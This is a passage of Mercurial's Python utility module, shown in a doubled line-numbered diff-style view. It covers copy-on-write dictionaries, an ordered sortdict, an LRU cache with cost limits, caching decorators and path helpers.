1240 if args not in cache:
1240 if args not in cache:
1241 cache[args] = func(*args)
1241 cache[args] = func(*args)
1242 return cache[args]
1242 return cache[args]
1243
1243
1244 return f
1244 return f
1245
1245
1246
1246
1247 class cow(object):
1247 class cow(object):
1248 """helper class to make copy-on-write easier
1248 """helper class to make copy-on-write easier
1249
1249
1250 Call preparewrite before doing any writes.
1250 Call preparewrite before doing any writes.
1251 """
1251 """
1252
1252
1253 def preparewrite(self):
1253 def preparewrite(self):
1254 """call this before writes, return self or a copied new object"""
1254 """call this before writes, return self or a copied new object"""
1255 if getattr(self, '_copied', 0):
1255 if getattr(self, '_copied', 0):
1256 self._copied -= 1
1256 self._copied -= 1
1257 return self.__class__(self)
1257 return self.__class__(self)
1258 return self
1258 return self
1259
1259
1260 def copy(self):
1260 def copy(self):
1261 """always do a cheap copy"""
1261 """always do a cheap copy"""
1262 self._copied = getattr(self, '_copied', 0) + 1
1262 self._copied = getattr(self, '_copied', 0) + 1
1263 return self
1263 return self
1264
1264
1265
1265
1266 class sortdict(collections.OrderedDict):
1266 class sortdict(collections.OrderedDict):
1267 """a simple sorted dictionary
1267 """a simple sorted dictionary
1268
1268
1269 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1269 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1270 >>> d2 = d1.copy()
1270 >>> d2 = d1.copy()
1271 >>> d2
1271 >>> d2
1272 sortdict([('a', 0), ('b', 1)])
1272 sortdict([('a', 0), ('b', 1)])
1273 >>> d2.update([(b'a', 2)])
1273 >>> d2.update([(b'a', 2)])
1274 >>> list(d2.keys()) # should still be in last-set order
1274 >>> list(d2.keys()) # should still be in last-set order
1275 ['b', 'a']
1275 ['b', 'a']
1276 >>> d1.insert(1, b'a.5', 0.5)
1276 >>> d1.insert(1, b'a.5', 0.5)
1277 >>> d1
1277 >>> d1
1278 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1278 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1279 """
1279 """
1280
1280
1281 def __setitem__(self, key, value):
1281 def __setitem__(self, key, value):
1282 if key in self:
1282 if key in self:
1283 del self[key]
1283 del self[key]
1284 super(sortdict, self).__setitem__(key, value)
1284 super(sortdict, self).__setitem__(key, value)
1285
1285
1286 if pycompat.ispypy:
1286 if pycompat.ispypy:
1287 # __setitem__() isn't called as of PyPy 5.8.0
1287 # __setitem__() isn't called as of PyPy 5.8.0
1288 def update(self, src):
1288 def update(self, src):
1289 if isinstance(src, dict):
1289 if isinstance(src, dict):
1290 src = pycompat.iteritems(src)
1290 src = pycompat.iteritems(src)
1291 for k, v in src:
1291 for k, v in src:
1292 self[k] = v
1292 self[k] = v
1293
1293
1294 def insert(self, position, key, value):
1294 def insert(self, position, key, value):
1295 for (i, (k, v)) in enumerate(list(self.items())):
1295 for (i, (k, v)) in enumerate(list(self.items())):
1296 if i == position:
1296 if i == position:
1297 self[key] = value
1297 self[key] = value
1298 if i >= position:
1298 if i >= position:
1299 del self[k]
1299 del self[k]
1300 self[k] = v
1300 self[k] = v
1301
1301
1302
1302
1303 class cowdict(cow, dict):
1303 class cowdict(cow, dict):
1304 """copy-on-write dict
1304 """copy-on-write dict
1305
1305
1306 Be sure to call d = d.preparewrite() before writing to d.
1306 Be sure to call d = d.preparewrite() before writing to d.
1307
1307
1308 >>> a = cowdict()
1308 >>> a = cowdict()
1309 >>> a is a.preparewrite()
1309 >>> a is a.preparewrite()
1310 True
1310 True
1311 >>> b = a.copy()
1311 >>> b = a.copy()
1312 >>> b is a
1312 >>> b is a
1313 True
1313 True
1314 >>> c = b.copy()
1314 >>> c = b.copy()
1315 >>> c is a
1315 >>> c is a
1316 True
1316 True
1317 >>> a = a.preparewrite()
1317 >>> a = a.preparewrite()
1318 >>> b is a
1318 >>> b is a
1319 False
1319 False
1320 >>> a is a.preparewrite()
1320 >>> a is a.preparewrite()
1321 True
1321 True
1322 >>> c = c.preparewrite()
1322 >>> c = c.preparewrite()
1323 >>> b is c
1323 >>> b is c
1324 False
1324 False
1325 >>> b is b.preparewrite()
1325 >>> b is b.preparewrite()
1326 True
1326 True
1327 """
1327 """
1328
1328
1329
1329
1330 class cowsortdict(cow, sortdict):
1330 class cowsortdict(cow, sortdict):
1331 """copy-on-write sortdict
1331 """copy-on-write sortdict
1332
1332
1333 Be sure to call d = d.preparewrite() before writing to d.
1333 Be sure to call d = d.preparewrite() before writing to d.
1334 """
1334 """
1335
1335
1336
1336
1337 class transactional(object): # pytype: disable=ignored-metaclass
1337 class transactional(object): # pytype: disable=ignored-metaclass
1338 """Base class for making a transactional type into a context manager."""
1338 """Base class for making a transactional type into a context manager."""
1339
1339
1340 __metaclass__ = abc.ABCMeta
1340 __metaclass__ = abc.ABCMeta
1341
1341
1342 @abc.abstractmethod
1342 @abc.abstractmethod
1343 def close(self):
1343 def close(self):
1344 """Successfully closes the transaction."""
1344 """Successfully closes the transaction."""
1345
1345
1346 @abc.abstractmethod
1346 @abc.abstractmethod
1347 def release(self):
1347 def release(self):
1348 """Marks the end of the transaction.
1348 """Marks the end of the transaction.
1349
1349
1350 If the transaction has not been closed, it will be aborted.
1350 If the transaction has not been closed, it will be aborted.
1351 """
1351 """
1352
1352
1353 def __enter__(self):
1353 def __enter__(self):
1354 return self
1354 return self
1355
1355
1356 def __exit__(self, exc_type, exc_val, exc_tb):
1356 def __exit__(self, exc_type, exc_val, exc_tb):
1357 try:
1357 try:
1358 if exc_type is None:
1358 if exc_type is None:
1359 self.close()
1359 self.close()
1360 finally:
1360 finally:
1361 self.release()
1361 self.release()
1362
1362
1363
1363
1364 @contextlib.contextmanager
1364 @contextlib.contextmanager
1365 def acceptintervention(tr=None):
1365 def acceptintervention(tr=None):
1366 """A context manager that closes the transaction on InterventionRequired
1366 """A context manager that closes the transaction on InterventionRequired
1367
1367
1368 If no transaction was provided, this simply runs the body and returns
1368 If no transaction was provided, this simply runs the body and returns
1369 """
1369 """
1370 if not tr:
1370 if not tr:
1371 yield
1371 yield
1372 return
1372 return
1373 try:
1373 try:
1374 yield
1374 yield
1375 tr.close()
1375 tr.close()
1376 except error.InterventionRequired:
1376 except error.InterventionRequired:
1377 tr.close()
1377 tr.close()
1378 raise
1378 raise
1379 finally:
1379 finally:
1380 tr.release()
1380 tr.release()
1381
1381
1382
1382
1383 @contextlib.contextmanager
1383 @contextlib.contextmanager
1384 def nullcontextmanager(enter_result=None):
1384 def nullcontextmanager(enter_result=None):
1385 yield enter_result
1385 yield enter_result
1386
1386
1387
1387
1388 class _lrucachenode(object):
1388 class _lrucachenode(object):
1389 """A node in a doubly linked list.
1389 """A node in a doubly linked list.
1390
1390
1391 Holds a reference to nodes on either side as well as a key-value
1391 Holds a reference to nodes on either side as well as a key-value
1392 pair for the dictionary entry.
1392 pair for the dictionary entry.
1393 """
1393 """
1394
1394
1395 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1395 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1396
1396
1397 def __init__(self):
1397 def __init__(self):
1398 self.next = None
1398 self.next = None
1399 self.prev = None
1399 self.prev = None
1400
1400
1401 self.key = _notset
1401 self.key = _notset
1402 self.value = None
1402 self.value = None
1403 self.cost = 0
1403 self.cost = 0
1404
1404
1405 def markempty(self):
1405 def markempty(self):
1406 """Mark the node as emptied."""
1406 """Mark the node as emptied."""
1407 self.key = _notset
1407 self.key = _notset
1408 self.value = None
1408 self.value = None
1409 self.cost = 0
1409 self.cost = 0
1410
1410
1411
1411
1412 class lrucachedict(object):
1412 class lrucachedict(object):
1413 """Dict that caches most recent accesses and sets.
1413 """Dict that caches most recent accesses and sets.
1414
1414
1415 The dict consists of an actual backing dict - indexed by original
1415 The dict consists of an actual backing dict - indexed by original
1416 key - and a doubly linked circular list defining the order of entries in
1416 key - and a doubly linked circular list defining the order of entries in
1417 the cache.
1417 the cache.
1418
1418
1419 The head node is the newest entry in the cache. If the cache is full,
1419 The head node is the newest entry in the cache. If the cache is full,
1420 we recycle head.prev and make it the new head. Cache accesses result in
1420 we recycle head.prev and make it the new head. Cache accesses result in
1421 the node being moved to before the existing head and being marked as the
1421 the node being moved to before the existing head and being marked as the
1422 new head node.
1422 new head node.
1423
1423
1424 Items in the cache can be inserted with an optional "cost" value. This is
1424 Items in the cache can be inserted with an optional "cost" value. This is
1425 simply an integer that is specified by the caller. The cache can be queried
1425 simply an integer that is specified by the caller. The cache can be queried
1426 for the total cost of all items presently in the cache.
1426 for the total cost of all items presently in the cache.
1427
1427
1428 The cache can also define a maximum cost. If a cache insertion would
1428 The cache can also define a maximum cost. If a cache insertion would
1429 cause the total cost of the cache to go beyond the maximum cost limit,
1429 cause the total cost of the cache to go beyond the maximum cost limit,
1430 nodes will be evicted to make room for the new code. This can be used
1430 nodes will be evicted to make room for the new code. This can be used
1431 to e.g. set a max memory limit and associate an estimated bytes size
1431 to e.g. set a max memory limit and associate an estimated bytes size
1432 cost to each item in the cache. By default, no maximum cost is enforced.
1432 cost to each item in the cache. By default, no maximum cost is enforced.
1433 """
1433 """
1434
1434
1435 def __init__(self, max, maxcost=0):
1435 def __init__(self, max, maxcost=0):
1436 self._cache = {}
1436 self._cache = {}
1437
1437
1438 self._head = head = _lrucachenode()
1438 self._head = head = _lrucachenode()
1439 head.prev = head
1439 head.prev = head
1440 head.next = head
1440 head.next = head
1441 self._size = 1
1441 self._size = 1
1442 self.capacity = max
1442 self.capacity = max
1443 self.totalcost = 0
1443 self.totalcost = 0
1444 self.maxcost = maxcost
1444 self.maxcost = maxcost
1445
1445
1446 def __len__(self):
1446 def __len__(self):
1447 return len(self._cache)
1447 return len(self._cache)
1448
1448
1449 def __contains__(self, k):
1449 def __contains__(self, k):
1450 return k in self._cache
1450 return k in self._cache
1451
1451
1452 def __iter__(self):
1452 def __iter__(self):
1453 # We don't have to iterate in cache order, but why not.
1453 # We don't have to iterate in cache order, but why not.
1454 n = self._head
1454 n = self._head
1455 for i in range(len(self._cache)):
1455 for i in range(len(self._cache)):
1456 yield n.key
1456 yield n.key
1457 n = n.next
1457 n = n.next
1458
1458
1459 def __getitem__(self, k):
1459 def __getitem__(self, k):
1460 node = self._cache[k]
1460 node = self._cache[k]
1461 self._movetohead(node)
1461 self._movetohead(node)
1462 return node.value
1462 return node.value
1463
1463
1464 def insert(self, k, v, cost=0):
1464 def insert(self, k, v, cost=0):
1465 """Insert a new item in the cache with optional cost value."""
1465 """Insert a new item in the cache with optional cost value."""
1466 node = self._cache.get(k)
1466 node = self._cache.get(k)
1467 # Replace existing value and mark as newest.
1467 # Replace existing value and mark as newest.
1468 if node is not None:
1468 if node is not None:
1469 self.totalcost -= node.cost
1469 self.totalcost -= node.cost
1470 node.value = v
1470 node.value = v
1471 node.cost = cost
1471 node.cost = cost
1472 self.totalcost += cost
1472 self.totalcost += cost
1473 self._movetohead(node)
1473 self._movetohead(node)
1474
1474
1475 if self.maxcost:
1475 if self.maxcost:
1476 self._enforcecostlimit()
1476 self._enforcecostlimit()
1477
1477
1478 return
1478 return
1479
1479
1480 if self._size < self.capacity:
1480 if self._size < self.capacity:
1481 node = self._addcapacity()
1481 node = self._addcapacity()
1482 else:
1482 else:
1483 # Grab the last/oldest item.
1483 # Grab the last/oldest item.
1484 node = self._head.prev
1484 node = self._head.prev
1485
1485
1486 # At capacity. Kill the old entry.
1486 # At capacity. Kill the old entry.
1487 if node.key is not _notset:
1487 if node.key is not _notset:
1488 self.totalcost -= node.cost
1488 self.totalcost -= node.cost
1489 del self._cache[node.key]
1489 del self._cache[node.key]
1490
1490
1491 node.key = k
1491 node.key = k
1492 node.value = v
1492 node.value = v
1493 node.cost = cost
1493 node.cost = cost
1494 self.totalcost += cost
1494 self.totalcost += cost
1495 self._cache[k] = node
1495 self._cache[k] = node
1496 # And mark it as newest entry. No need to adjust order since it
1496 # And mark it as newest entry. No need to adjust order since it
1497 # is already self._head.prev.
1497 # is already self._head.prev.
1498 self._head = node
1498 self._head = node
1499
1499
1500 if self.maxcost:
1500 if self.maxcost:
1501 self._enforcecostlimit()
1501 self._enforcecostlimit()
1502
1502
1503 def __setitem__(self, k, v):
1503 def __setitem__(self, k, v):
1504 self.insert(k, v)
1504 self.insert(k, v)
1505
1505
1506 def __delitem__(self, k):
1506 def __delitem__(self, k):
1507 self.pop(k)
1507 self.pop(k)
1508
1508
1509 def pop(self, k, default=_notset):
1509 def pop(self, k, default=_notset):
1510 try:
1510 try:
1511 node = self._cache.pop(k)
1511 node = self._cache.pop(k)
1512 except KeyError:
1512 except KeyError:
1513 if default is _notset:
1513 if default is _notset:
1514 raise
1514 raise
1515 return default
1515 return default
1516
1516
1517 assert node is not None # help pytype
1517 assert node is not None # help pytype
1518 value = node.value
1518 value = node.value
1519 self.totalcost -= node.cost
1519 self.totalcost -= node.cost
1520 node.markempty()
1520 node.markempty()
1521
1521
1522 # Temporarily mark as newest item before re-adjusting head to make
1522 # Temporarily mark as newest item before re-adjusting head to make
1523 # this node the oldest item.
1523 # this node the oldest item.
1524 self._movetohead(node)
1524 self._movetohead(node)
1525 self._head = node.next
1525 self._head = node.next
1526
1526
1527 return value
1527 return value
1528
1528
1529 # Additional dict methods.
1529 # Additional dict methods.
1530
1530
1531 def get(self, k, default=None):
1531 def get(self, k, default=None):
1532 try:
1532 try:
1533 return self.__getitem__(k)
1533 return self.__getitem__(k)
1534 except KeyError:
1534 except KeyError:
1535 return default
1535 return default
1536
1536
1537 def peek(self, k, default=_notset):
1537 def peek(self, k, default=_notset):
1538 """Get the specified item without moving it to the head
1538 """Get the specified item without moving it to the head
1539
1539
1540 Unlike get(), this doesn't mutate the internal state. But be aware
1540 Unlike get(), this doesn't mutate the internal state. But be aware
1541 that it doesn't mean peek() is thread safe.
1541 that it doesn't mean peek() is thread safe.
1542 """
1542 """
1543 try:
1543 try:
1544 node = self._cache[k]
1544 node = self._cache[k]
1545 return node.value
1545 return node.value
1546 except KeyError:
1546 except KeyError:
1547 if default is _notset:
1547 if default is _notset:
1548 raise
1548 raise
1549 return default
1549 return default
1550
1550
1551 def clear(self):
1551 def clear(self):
1552 n = self._head
1552 n = self._head
1553 while n.key is not _notset:
1553 while n.key is not _notset:
1554 self.totalcost -= n.cost
1554 self.totalcost -= n.cost
1555 n.markempty()
1555 n.markempty()
1556 n = n.next
1556 n = n.next
1557
1557
1558 self._cache.clear()
1558 self._cache.clear()
1559
1559
1560 def copy(self, capacity=None, maxcost=0):
1560 def copy(self, capacity=None, maxcost=0):
1561 """Create a new cache as a copy of the current one.
1561 """Create a new cache as a copy of the current one.
1562
1562
1563 By default, the new cache has the same capacity as the existing one.
1563 By default, the new cache has the same capacity as the existing one.
1564 But, the cache capacity can be changed as part of performing the
1564 But, the cache capacity can be changed as part of performing the
1565 copy.
1565 copy.
1566
1566
1567 Items in the copy have an insertion/access order matching this
1567 Items in the copy have an insertion/access order matching this
1568 instance.
1568 instance.
1569 """
1569 """
1570
1570
1571 capacity = capacity or self.capacity
1571 capacity = capacity or self.capacity
1572 maxcost = maxcost or self.maxcost
1572 maxcost = maxcost or self.maxcost
1573 result = lrucachedict(capacity, maxcost=maxcost)
1573 result = lrucachedict(capacity, maxcost=maxcost)
1574
1574
1575 # We copy entries by iterating in oldest-to-newest order so the copy
1575 # We copy entries by iterating in oldest-to-newest order so the copy
1576 # has the correct ordering.
1576 # has the correct ordering.
1577
1577
1578 # Find the first non-empty entry.
1578 # Find the first non-empty entry.
1579 n = self._head.prev
1579 n = self._head.prev
1580 while n.key is _notset and n is not self._head:
1580 while n.key is _notset and n is not self._head:
1581 n = n.prev
1581 n = n.prev
1582
1582
1583 # We could potentially skip the first N items when decreasing capacity.
1583 # We could potentially skip the first N items when decreasing capacity.
1584 # But let's keep it simple unless it is a performance problem.
1584 # But let's keep it simple unless it is a performance problem.
1585 for i in range(len(self._cache)):
1585 for i in range(len(self._cache)):
1586 result.insert(n.key, n.value, cost=n.cost)
1586 result.insert(n.key, n.value, cost=n.cost)
1587 n = n.prev
1587 n = n.prev
1588
1588
1589 return result
1589 return result
1590
1590
1591 def popoldest(self):
1591 def popoldest(self):
1592 """Remove the oldest item from the cache.
1592 """Remove the oldest item from the cache.
1593
1593
1594 Returns the (key, value) describing the removed cache entry.
1594 Returns the (key, value) describing the removed cache entry.
1595 """
1595 """
1596 if not self._cache:
1596 if not self._cache:
1597 return
1597 return
1598
1598
1599 # Walk the linked list backwards starting at tail node until we hit
1599 # Walk the linked list backwards starting at tail node until we hit
1600 # a non-empty node.
1600 # a non-empty node.
1601 n = self._head.prev
1601 n = self._head.prev
1602 while n.key is _notset:
1602 while n.key is _notset:
1603 n = n.prev
1603 n = n.prev
1604
1604
1605 assert n is not None # help pytype
1605 assert n is not None # help pytype
1606
1606
1607 key, value = n.key, n.value
1607 key, value = n.key, n.value
1608
1608
1609 # And remove it from the cache and mark it as empty.
1609 # And remove it from the cache and mark it as empty.
1610 del self._cache[n.key]
1610 del self._cache[n.key]
1611 self.totalcost -= n.cost
1611 self.totalcost -= n.cost
1612 n.markempty()
1612 n.markempty()
1613
1613
1614 return key, value
1614 return key, value
1615
1615
1616 def _movetohead(self, node):
1616 def _movetohead(self, node):
1617 """Mark a node as the newest, making it the new head.
1617 """Mark a node as the newest, making it the new head.
1618
1618
1619 When a node is accessed, it becomes the freshest entry in the LRU
1619 When a node is accessed, it becomes the freshest entry in the LRU
1620 list, which is denoted by self._head.
1620 list, which is denoted by self._head.
1621
1621
1622 Visually, let's make ``N`` the new head node (* denotes head):
1622 Visually, let's make ``N`` the new head node (* denotes head):
1623
1623
1624 previous/oldest <-> head <-> next/next newest
1624 previous/oldest <-> head <-> next/next newest
1625
1625
1626 ----<->--- A* ---<->-----
1626 ----<->--- A* ---<->-----
1627 | |
1627 | |
1628 E <-> D <-> N <-> C <-> B
1628 E <-> D <-> N <-> C <-> B
1629
1629
1630 To:
1630 To:
1631
1631
1632 ----<->--- N* ---<->-----
1632 ----<->--- N* ---<->-----
1633 | |
1633 | |
1634 E <-> D <-> C <-> B <-> A
1634 E <-> D <-> C <-> B <-> A
1635
1635
1636 This requires the following moves:
1636 This requires the following moves:
1637
1637
1638 C.next = D (node.prev.next = node.next)
1638 C.next = D (node.prev.next = node.next)
1639 D.prev = C (node.next.prev = node.prev)
1639 D.prev = C (node.next.prev = node.prev)
1640 E.next = N (head.prev.next = node)
1640 E.next = N (head.prev.next = node)
1641 N.prev = E (node.prev = head.prev)
1641 N.prev = E (node.prev = head.prev)
1642 N.next = A (node.next = head)
1642 N.next = A (node.next = head)
1643 A.prev = N (head.prev = node)
1643 A.prev = N (head.prev = node)
1644 """
1644 """
1645 head = self._head
1645 head = self._head
1646 # C.next = D
1646 # C.next = D
1647 node.prev.next = node.next
1647 node.prev.next = node.next
1648 # D.prev = C
1648 # D.prev = C
1649 node.next.prev = node.prev
1649 node.next.prev = node.prev
1650 # N.prev = E
1650 # N.prev = E
1651 node.prev = head.prev
1651 node.prev = head.prev
1652 # N.next = A
1652 # N.next = A
1653 # It is tempting to do just "head" here, however if node is
1653 # It is tempting to do just "head" here, however if node is
1654 # adjacent to head, this will do bad things.
1654 # adjacent to head, this will do bad things.
1655 node.next = head.prev.next
1655 node.next = head.prev.next
1656 # E.next = N
1656 # E.next = N
1657 node.next.prev = node
1657 node.next.prev = node
1658 # A.prev = N
1658 # A.prev = N
1659 node.prev.next = node
1659 node.prev.next = node
1660
1660
1661 self._head = node
1661 self._head = node
1662
1662
1663 def _addcapacity(self):
1663 def _addcapacity(self):
1664 """Add a node to the circular linked list.
1664 """Add a node to the circular linked list.
1665
1665
1666 The new node is inserted before the head node.
1666 The new node is inserted before the head node.
1667 """
1667 """
1668 head = self._head
1668 head = self._head
1669 node = _lrucachenode()
1669 node = _lrucachenode()
1670 head.prev.next = node
1670 head.prev.next = node
1671 node.prev = head.prev
1671 node.prev = head.prev
1672 node.next = head
1672 node.next = head
1673 head.prev = node
1673 head.prev = node
1674 self._size += 1
1674 self._size += 1
1675 return node
1675 return node
1676
1676
1677 def _enforcecostlimit(self):
1677 def _enforcecostlimit(self):
1678 # This should run after an insertion. It should only be called if total
1678 # This should run after an insertion. It should only be called if total
1679 # cost limits are being enforced.
1679 # cost limits are being enforced.
1680 # The most recently inserted node is never evicted.
1680 # The most recently inserted node is never evicted.
1681 if len(self) <= 1 or self.totalcost <= self.maxcost:
1681 if len(self) <= 1 or self.totalcost <= self.maxcost:
1682 return
1682 return
1683
1683
1684 # This is logically equivalent to calling popoldest() until we
1684 # This is logically equivalent to calling popoldest() until we
1685 # free up enough cost. We don't do that since popoldest() needs
1685 # free up enough cost. We don't do that since popoldest() needs
1686 # to walk the linked list and doing this in a loop would be
1686 # to walk the linked list and doing this in a loop would be
1687 # quadratic. So we find the first non-empty node and then
1687 # quadratic. So we find the first non-empty node and then
1688 # walk nodes until we free up enough capacity.
1688 # walk nodes until we free up enough capacity.
1689 #
1689 #
1690 # If we only removed the minimum number of nodes to free enough
1690 # If we only removed the minimum number of nodes to free enough
1691 # cost at insert time, chances are high that the next insert would
1691 # cost at insert time, chances are high that the next insert would
1692 # also require pruning. This would effectively constitute quadratic
1692 # also require pruning. This would effectively constitute quadratic
1693 # behavior for insert-heavy workloads. To mitigate this, we set a
1693 # behavior for insert-heavy workloads. To mitigate this, we set a
1694 # target cost that is a percentage of the max cost. This will tend
1694 # target cost that is a percentage of the max cost. This will tend
1695 # to free more nodes when the high water mark is reached, which
1695 # to free more nodes when the high water mark is reached, which
1696 # lowers the chances of needing to prune on the subsequent insert.
1696 # lowers the chances of needing to prune on the subsequent insert.
1697 targetcost = int(self.maxcost * 0.75)
1697 targetcost = int(self.maxcost * 0.75)
1698
1698
1699 n = self._head.prev
1699 n = self._head.prev
1700 while n.key is _notset:
1700 while n.key is _notset:
1701 n = n.prev
1701 n = n.prev
1702
1702
1703 while len(self) > 1 and self.totalcost > targetcost:
1703 while len(self) > 1 and self.totalcost > targetcost:
1704 del self._cache[n.key]
1704 del self._cache[n.key]
1705 self.totalcost -= n.cost
1705 self.totalcost -= n.cost
1706 n.markempty()
1706 n.markempty()
1707 n = n.prev
1707 n = n.prev
1708
1708
1709
1709
1710 def lrucachefunc(func):
1710 def lrucachefunc(func):
1711 '''cache most recent results of function calls'''
1711 '''cache most recent results of function calls'''
1712 cache = {}
1712 cache = {}
1713 order = collections.deque()
1713 order = collections.deque()
1714 if func.__code__.co_argcount == 1:
1714 if func.__code__.co_argcount == 1:
1715
1715
1716 def f(arg):
1716 def f(arg):
1717 if arg not in cache:
1717 if arg not in cache:
1718 if len(cache) > 20:
1718 if len(cache) > 20:
1719 del cache[order.popleft()]
1719 del cache[order.popleft()]
1720 cache[arg] = func(arg)
1720 cache[arg] = func(arg)
1721 else:
1721 else:
1722 order.remove(arg)
1722 order.remove(arg)
1723 order.append(arg)
1723 order.append(arg)
1724 return cache[arg]
1724 return cache[arg]
1725
1725
1726 else:
1726 else:
1727
1727
1728 def f(*args):
1728 def f(*args):
1729 if args not in cache:
1729 if args not in cache:
1730 if len(cache) > 20:
1730 if len(cache) > 20:
1731 del cache[order.popleft()]
1731 del cache[order.popleft()]
1732 cache[args] = func(*args)
1732 cache[args] = func(*args)
1733 else:
1733 else:
1734 order.remove(args)
1734 order.remove(args)
1735 order.append(args)
1735 order.append(args)
1736 return cache[args]
1736 return cache[args]
1737
1737
1738 return f
1738 return f
1739
1739
1740
1740
1741 class propertycache(object):
1741 class propertycache(object):
1742 def __init__(self, func):
1742 def __init__(self, func):
1743 self.func = func
1743 self.func = func
1744 self.name = func.__name__
1744 self.name = func.__name__
1745
1745
1746 def __get__(self, obj, type=None):
1746 def __get__(self, obj, type=None):
1747 result = self.func(obj)
1747 result = self.func(obj)
1748 self.cachevalue(obj, result)
1748 self.cachevalue(obj, result)
1749 return result
1749 return result
1750
1750
1751 def cachevalue(self, obj, value):
1751 def cachevalue(self, obj, value):
1752 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1752 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1753 obj.__dict__[self.name] = value
1753 obj.__dict__[self.name] = value
1754
1754
1755
1755
1756 def clearcachedproperty(obj, prop):
1756 def clearcachedproperty(obj, prop):
1757 '''clear a cached property value, if one has been set'''
1757 '''clear a cached property value, if one has been set'''
1758 prop = pycompat.sysstr(prop)
1758 prop = pycompat.sysstr(prop)
1759 if prop in obj.__dict__:
1759 if prop in obj.__dict__:
1760 del obj.__dict__[prop]
1760 del obj.__dict__[prop]
1761
1761
1762
1762
1763 def increasingchunks(source, min=1024, max=65536):
1763 def increasingchunks(source, min=1024, max=65536):
1764 """return no less than min bytes per chunk while data remains,
1764 """return no less than min bytes per chunk while data remains,
1765 doubling min after each chunk until it reaches max"""
1765 doubling min after each chunk until it reaches max"""
1766
1766
1767 def log2(x):
1767 def log2(x):
1768 if not x:
1768 if not x:
1769 return 0
1769 return 0
1770 i = 0
1770 i = 0
1771 while x:
1771 while x:
1772 x >>= 1
1772 x >>= 1
1773 i += 1
1773 i += 1
1774 return i - 1
1774 return i - 1
1775
1775
1776 buf = []
1776 buf = []
1777 blen = 0
1777 blen = 0
1778 for chunk in source:
1778 for chunk in source:
1779 buf.append(chunk)
1779 buf.append(chunk)
1780 blen += len(chunk)
1780 blen += len(chunk)
1781 if blen >= min:
1781 if blen >= min:
1782 if min < max:
1782 if min < max:
1783 min = min << 1
1783 min = min << 1
1784 nmin = 1 << log2(blen)
1784 nmin = 1 << log2(blen)
1785 if nmin > min:
1785 if nmin > min:
1786 min = nmin
1786 min = nmin
1787 if min > max:
1787 if min > max:
1788 min = max
1788 min = max
1789 yield b''.join(buf)
1789 yield b''.join(buf)
1790 blen = 0
1790 blen = 0
1791 buf = []
1791 buf = []
1792 if buf:
1792 if buf:
1793 yield b''.join(buf)
1793 yield b''.join(buf)
1794
1794
1795
1795
1796 def always(fn):
1796 def always(fn):
1797 return True
1797 return True
1798
1798
1799
1799
1800 def never(fn):
1800 def never(fn):
1801 return False
1801 return False
1802
1802
1803
1803
1804 def nogc(func):
1804 def nogc(func):
1805 """disable garbage collector
1805 """disable garbage collector
1806
1806
1807 Python's garbage collector triggers a GC each time a certain number of
1807 Python's garbage collector triggers a GC each time a certain number of
1808 container objects (the number being defined by gc.get_threshold()) are
1808 container objects (the number being defined by gc.get_threshold()) are
1809 allocated even when marked not to be tracked by the collector. Tracking has
1809 allocated even when marked not to be tracked by the collector. Tracking has
1810 no effect on when GCs are triggered, only on what objects the GC looks
1810 no effect on when GCs are triggered, only on what objects the GC looks
1811 into. As a workaround, disable GC while building complex (huge)
1811 into. As a workaround, disable GC while building complex (huge)
1812 containers.
1812 containers.
1813
1813
1814 This garbage collector issue have been fixed in 2.7. But it still affect
1814 This garbage collector issue have been fixed in 2.7. But it still affect
1815 CPython's performance.
1815 CPython's performance.
1816 """
1816 """
1817
1817
1818 def wrapper(*args, **kwargs):
1818 def wrapper(*args, **kwargs):
1819 gcenabled = gc.isenabled()
1819 gcenabled = gc.isenabled()
1820 gc.disable()
1820 gc.disable()
1821 try:
1821 try:
1822 return func(*args, **kwargs)
1822 return func(*args, **kwargs)
1823 finally:
1823 finally:
1824 if gcenabled:
1824 if gcenabled:
1825 gc.enable()
1825 gc.enable()
1826
1826
1827 return wrapper
1827 return wrapper
1828
1828
1829
1829
1830 if pycompat.ispypy:
1830 if pycompat.ispypy:
1831 # PyPy runs slower with gc disabled
1831 # PyPy runs slower with gc disabled
1832 nogc = lambda x: x
1832 nogc = lambda x: x
1833
1833
1834
1834
1835 def pathto(root, n1, n2):
1835 def pathto(root, n1, n2):
1836 """return the relative path from one place to another.
1836 """return the relative path from one place to another.
1837 root should use os.sep to separate directories
1837 root should use os.sep to separate directories
1838 n1 should use os.sep to separate directories
1838 n1 should use os.sep to separate directories
1839 n2 should use "/" to separate directories
1839 n2 should use "/" to separate directories
1840 returns an os.sep-separated path.
1840 returns an os.sep-separated path.
1841
1841
1842 If n1 is a relative path, it's assumed it's
1842 If n1 is a relative path, it's assumed it's
1843 relative to root.
1843 relative to root.
1844 n2 should always be relative to root.
1844 n2 should always be relative to root.
1845 """
1845 """
1846 if not n1:
1846 if not n1:
1847 return localpath(n2)
1847 return localpath(n2)
1848 if os.path.isabs(n1):
1848 if os.path.isabs(n1):
1849 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1849 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1850 return os.path.join(root, localpath(n2))
1850 return os.path.join(root, localpath(n2))
1851 n2 = b'/'.join((pconvert(root), n2))
1851 n2 = b'/'.join((pconvert(root), n2))
1852 a, b = splitpath(n1), n2.split(b'/')
1852 a, b = splitpath(n1), n2.split(b'/')
1853 a.reverse()
1853 a.reverse()
1854 b.reverse()
1854 b.reverse()
1855 while a and b and a[-1] == b[-1]:
1855 while a and b and a[-1] == b[-1]:
1856 a.pop()
1856 a.pop()
1857 b.pop()
1857 b.pop()
1858 b.reverse()
1858 b.reverse()
1859 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1859 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1860
1860
1861
1861
1862 def checksignature(func, depth=1):
1862 def checksignature(func, depth=1):
1863 '''wrap a function with code to check for calling errors'''
1863 '''wrap a function with code to check for calling errors'''
1864
1864
1865 def check(*args, **kwargs):
1865 def check(*args, **kwargs):
1866 try:
1866 try:
1867 return func(*args, **kwargs)
1867 return func(*args, **kwargs)
1868 except TypeError:
1868 except TypeError:
1869 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1869 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1870 raise error.SignatureError
1870 raise error.SignatureError
1871 raise
1871 raise
